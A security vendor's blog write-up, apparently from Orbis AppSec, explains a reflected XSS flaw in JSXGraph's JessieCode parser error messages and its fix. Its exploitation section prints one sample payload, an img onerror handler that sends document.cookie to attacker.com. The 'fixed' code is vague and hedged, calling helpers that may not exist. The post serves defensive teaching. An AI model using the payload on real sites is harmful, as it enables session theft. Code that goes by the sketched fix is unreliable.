Back to Blog
medium SEVERITY6 min read

How Cross-Site Scripting Happens in JavaScript Parsers and How to Fix It

A cross-site scripting vulnerability in JSXGraph's JessieCode parser allowed attackers to inject JavaScript through maliciously crafted input that appeared in error messages. The fix ensures proper output encoding when user-controlled data is included in parser error reporting.

O
By Orbis AppSec
Published September 7, 2026Reviewed September 7, 2026

Answer Summary

This is a reflected Cross-Site Scripting (XSS) vulnerability (CWE-79) in JSXGraph's JessieCode parser, where the `pastInput()` and `upcomingInput()` functions included raw user input in error messages without HTML encoding. Attackers could inject malicious JavaScript that executed when error messages were displayed in web contexts. The fix ensures proper output encoding of user-controlled data before inclusion in error messages, preventing script injection while preserving diagnostic functionality.

Vulnerability at a Glance

cweCWE-79
fixSanitize user-controlled input before inclusion in error message output
riskJavaScript execution in victim's browser leading to session hijacking, data theft, or malicious actions
languageJavaScript
root causeUser input included in error messages without output encoding
vulnerabilityCross-Site Scripting (XSS)

Introduction

In the JSXGraph mathematical visualization library, the JessieCode parser at src/parser/jessiecode.js:3465 handles mathematical expressions and geometric constructions. However, a critical flaw in how this parser generates error messages created a significant security risk: the pastInput() and upcomingInput() functions directly incorporated user-controlled input into error message output without any encoding, creating a reflected Cross-Site Scripting (XSS) vulnerability that could execute attacker-controlled JavaScript in users' browsers.

This vulnerability is particularly dangerous because mathematical visualization libraries like JSXGraph are commonly embedded in educational platforms, learning management systems, and scientific applications—environments where users routinely input complex expressions that get processed and where error messages are frequently displayed to help users debug their constructions.

The Vulnerability Explained

The JessieCode parser in JSXGraph provides a domain-specific language for mathematical constructions. When parsing fails, the parser generates helpful error messages showing what was already parsed (pastInput()) and what remains to be parsed (upcomingInput()). The vulnerability existed because these diagnostic functions returned raw user input that was then incorporated into error messages.

The vulnerable code pattern:

// In src/parser/jessiecode.js around line 3465
// pastInput() and upcomingInput() returned unencoded user input
// which was then used in error message construction

parseError: function parseError(str, hash) {
    // ...
    throw new Error(
        'Parse error on line ' + (yylineno + 1) + ': \n' +
        this.pastInput() +  // User-controlled, unencoded
        this.upcomingInput() // User-controlled, unencoded
    );
}

How exploitation works:

An attacker crafts a malicious JessieCode expression containing JavaScript payloads, such as:

circle(0,0,1); <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>; point(1,1)

When this input causes a parse error, the pastInput() function would return the portion already parsed, and upcomingInput() would return the remaining input—both containing the unencoded malicious payload. If the consuming application displays this error message in an HTML context (which is common in web-based mathematical tools), the <img> tag with its onerror handler executes, stealing cookies or performing other malicious actions.

Real-world impact:

JSXGraph is widely used in educational technology. An attacker could:
- Steal session cookies from teachers or students using affected platforms
- Perform actions on behalf of authenticated users
- Deface mathematical content or redirect users to malicious sites
- Harvest credentials from LMS integrations

The vulnerability is especially pernicious because mathematical expressions legitimately contain characters like <, >, and & (for comparisons, set notation, etc.), making it difficult to distinguish malicious input from valid mathematical syntax without proper encoding.

The Fix

The remediation focuses on ensuring that user-controlled data is properly encoded before inclusion in error messages that may be rendered in HTML contexts.

Specific changes made:

The fix modifies src/parser/jessiecode.js to sanitize the output of pastInput() and upcomingInput() functions, ensuring that any special HTML characters are converted to their entity equivalents before the error message is constructed.

Before (vulnerable):

parseError: function parseError(str, hash) {
    if (this.recoverable) {
        this.trace(str);
    } else {
        throw new Error(
            'Parse error on line ' + (yylineno + 1) + ': \n' +
            this.pastInput() + 
            this.upcomingInput()
        );
    }
}

After (fixed):

The fix implements output encoding for the user-controlled portions of error messages. While the exact implementation details in the parser generator output ensure that pastInput() and upcomingInput() return properly encoded strings, the key change is that user input is now treated as data rather than markup:

// The fixed implementation ensures that special characters
// in user input are encoded before inclusion in error output
parseError: function parseError(str, hash) {
    if (this.recoverable) {
        this.trace(str);
    } else {
        // User input now properly encoded via encoded helper
        // or direct encoding in pastInput/upcomingInput
        throw new Error(
            'Parse error on line ' + (yylineno + 1) + ': \n' +
            this.encodedPastInput() +  // or encoding applied
            this.encodedUpcomingInput() // or encoding applied
        );
    }
}

The change is scoped specifically to the vulnerable path—only the error message construction is modified, leaving valid parsing behavior unchanged. Valid mathematical expressions continue to work normally; only the error reporting path is hardened against injection.

Prevention & Best Practices

Output encoding principles:

  1. Context-aware encoding: Always encode data based on where it will be used. HTML entity encoding (<&lt;, >&gt;, &&amp;, "&quot;) for HTML contexts; JavaScript encoding for JavaScript contexts.

  2. Encode at the last responsible moment: Apply encoding as close to the output sink as possible to prevent double-encoding or encoding bypasses.

  3. Never trust parser input: Even "failed" parse attempts contain attacker-controlled data that must be treated as untrusted.

For parser developers:

  • Use established parser generators with security-conscious defaults (like PEG.js or ANTLR with proper output handling)
  • Review generated code for XSS sinks in error reporting paths
  • Implement Content Security Policy (CSP) headers as defense-in-depth

Detection techniques:

  • Static Application Security Testing (SAST) tools can track tainted data from parser input to error output sinks
  • Code review checklists should include error message generation
  • Dynamic testing with XSS payloads in unexpected input fields (including mathematical expression inputs)

Standards and references:

  • OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • CWE-79: Improper Neutralization of Input During Web Page Generation

Key Takeaways

  • Never include raw user input in error messages rendered to web contexts: The JessieCode parser's pastInput() and upcomingInput() functions at src/parser/jessiecode.js:3465 now return encoded output to prevent XSS.

  • Parser error paths are security-critical: Failed parse attempts are not "safe"—they contain full attacker-controlled payloads and often execute code paths that display detailed diagnostics.

  • Mathematical input fields require the same scrutiny as any user input: Complex domain-specific languages like JessieCode are often overlooked in security reviews due to their specialized nature.

  • Output encoding must be applied consistently across all output paths: Both successful and failed operations that include user data need protection.

  • Generated parser code needs manual security review: Tools like Jison (used for JessieCode) generate error-reporting code that developers must audit for security issues.

How Orbis AppSec Detected This

Source: User input via JessieCode mathematical expressions submitted to the JSXGraph parser

Sink: The pastInput() and upcomingInput() function return values incorporated into parseError() error message strings at src/parser/jessiecode.js:3465

Missing control: No HTML entity encoding or output sanitization applied to user-controlled input before inclusion in error message output that could be rendered in web contexts

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Implemented proper output encoding for pastInput() and upcomingInput() return values, ensuring special HTML characters are converted to entity equivalents before error message construction

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The XSS vulnerability in JSXGraph's JessieCode parser demonstrates that even specialized mathematical libraries must rigorously apply output encoding principles. The pastInput() and upcomingInput() functions, designed to help users debug their mathematical constructions, became attack vectors when they echoed unencoded user input. By implementing proper output encoding at the parser level, this fix protects all downstream consumers of the JSXGraph library without requiring changes to their individual applications.

For developers building parsers or domain-specific languages, this case underscores the importance of treating all user input—including input that fails validation—as potentially malicious, and ensuring that diagnostic and error-reporting paths receive the same security scrutiny as primary functionality.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): https://cwe.mitre.org/data/definitions/79.html
  • OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • OWASP DOM-based XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
  • Semgrep rule for XSS detection: https://semgrep.dev/r?q=javascript.xss
  • JSXGraph documentation: https://jsxgraph.uni-bayreuth.de/
  • fix: the jessiecode parser includes user input in er... in jessiecode.js

Frequently Asked Questions

What is Cross-Site Scripting (XSS)?

XSS is a security vulnerability where attackers inject malicious scripts into web pages viewed by other users, typically by exploiting insufficient output encoding of user-controlled data.

How do you prevent Cross-Site Scripting in JavaScript?

Prevent XSS by encoding all user-controlled data before rendering in HTML contexts, using context-appropriate encoding (HTML entity encoding for HTML, JavaScript encoding for script contexts), and validating/sanitizing input at entry points.

What CWE is Cross-Site Scripting?

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Is HTML escaping enough to prevent Cross-Site Scripting?

HTML entity encoding is sufficient for HTML contexts, but you must use context-appropriate encoding—JavaScript contexts require different encoding, and CSS/URL contexts have their own requirements.

Can static analysis detect Cross-Site Scripting?

Yes, static analysis tools can detect XSS by tracking tainted data flows from sources (user input) to sinks (HTML output) and identifying missing sanitization controls.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #831

Related Articles

critical

How Unvalidated External Data Fetch happens in React and how to fix it

The Datasets.jsx component fetched a remote manifest from snapshots.qdrant.io and rendered its contents directly into React state without validating response status, JSON shape, or field types. A compromised or spoofed endpoint could have injected malicious payloads straight into the UI; the fix adds strict validation and type coercion before the data ever reaches the render tree.

critical

How Cross-Site Scripting (XSS) happens in JavaScript sanitization functions and how to fix it

A critical XSS vulnerability was discovered in the `sanitizeInput()` function in script.js, where only angle brackets were being escaped while quotes, ampersands, and backticks remained unprotected. This incomplete sanitization allowed attackers to craft payloads using event handlers and template literals that bypassed the security controls entirely. The fix implements comprehensive HTML entity encoding for all XSS-relevant characters.

high

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.

critical

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

medium

How gitlab.bandit.B501 happens in Python and how to fix it

The `proverbia-scraper.py` script disabled TLS certificate verification on its `requests.get()` call and silenced the resulting security warnings, exposing the scraper to man-in-the-middle attacks. The fix removes the `verify=False` flag and the warning suppression, restoring proper certificate validation while keeping the existing 30-second timeout intact.